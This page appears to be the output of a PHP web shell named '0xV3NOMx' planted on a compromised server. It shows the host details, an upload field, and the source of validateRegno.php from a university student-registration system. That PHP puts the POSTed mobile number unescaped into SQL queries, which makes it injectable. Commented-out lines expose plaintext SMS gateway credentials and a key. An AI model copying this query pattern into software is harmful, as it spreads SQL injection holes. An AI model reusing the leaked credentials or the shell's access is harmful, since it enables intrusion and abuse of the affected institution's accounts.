0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.142.135.24


Current Path : /proc/thread-self/root/var/www/oasis/jssun/adm/
Upload File :
Current File : //proc/thread-self/root/var/www/oasis/jssun/adm/validateRegno.php

<?php
include ("database.php");
//include("/var/www/html/sms/sendsmsapiv1.php");
include("sendsmsapiv1.php");
error_reporting(E_ALL);
ini_set('display_errors', 'on');
$mobile = trim($_POST['mobile']);


$query1 = "select FFOLDER from control";
$result1 = mysqli_query($conn,$query1);
$row1 = $result1->fetch_assoc();
$FFOLDER = $row1['FFOLDER'];

$query = "SELECT fname, ifnull(femail,'') as femail
from collstud where fmobileno = '{$mobile}' and factive = 'T'";

$result = mysqli_query($conn,$query);
$count = mysqli_num_rows($result);

if($count == 0)
{
	$query = "SELECT fname, ifnull(femail,'') as femail, fdegree, fcollcode
	from collstud where fmobileno = '{$mobile}'";

	$result = mysqli_query($conn,$query);
	$count = mysqli_num_rows($result);
	if($count > 0)
	{	
		$studdetl = mysqli_fetch_assoc($result);
		
		$degquery = "select * from degree where fdegree = '{$studdetl['fdegree']}'";
		$result = mysqli_query($conn,$degquery);
		$count = mysqli_num_rows($result);
		
		if($count == 0)
		{
			$row["status"] = 'invalid';
			$row["msg"] = "Error in degree define ({$studdetl['fdegree']}), Contact Help Desk.";
			echo json_encode($row);
			die();
		}

		$row['result'] = $studdetl;

		$row['status'] = 'success';
		// date_default_timezone_set('Asia/Kolkata');
		// $time =  date("h:i A");
		// $motpaswrd = rand(1000, 9000); //strtoupper(substr(sha1(rand()), 0, 4));
		// //$smsotp = "Dear Student, Your mobile OTP for Registration is {$motpaswrd} sent at {$time}";
		// //$smsotp = "From $FFOLDER: Dear Student, OTP for Registration is $motpaswrd. sent at {$time} - Uniclare";
		// $smsotp = "Dear User, OTP for Software Registration is $motpaswrd - PMSOLU";
		//$smsotp = "From $FFOLDER: Dear Student, OTP for Registration is $motpaswrd. sent at {$time} - Uniclare";
		// $username = 'logisyhttp';
		// $password = 'logisy@928';
		// $from = 'UNISOL';
		// $to = $mobile;
		// $text = $smsotp;
		// $category = '';

		// $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category);
		//var_dump($smsresp);

		// $sms = new SMS("042", 'OTP');
  		// //$sms->sendIndvidualSms($mobile, $smsotp, '900', 'ADM','','');
		//   $sms->sendIndvidualSms($mobile, $smsotp, '600', 'UREG', 'hyCR3Tm7', '1707171885912346766');

		// $row["sms"] = "Sent.";
		// //var_dump($row);
		// $query = "update collstud set fmobileotp = '{$motpaswrd}', fmobotptime = now(),
		// 		fotpcounter = fotpcounter+1 
		// 		where fmobileno = '{$mobile}'";
		// $result = mysqli_query($conn,$query);
		//var_dump($result);
		echo json_encode($row);
	}
	else
	{
		$row["status"] = 'invalid';
		$row["msg"] = "This Mobile No. is not submitted by college to university. Contact college";
		echo json_encode($row);
	}
}
else
{
	$row["status"] = 'invalid';
	$row["msg"] = 'You have already registered, Please Login';
	echo json_encode($row);
}
?>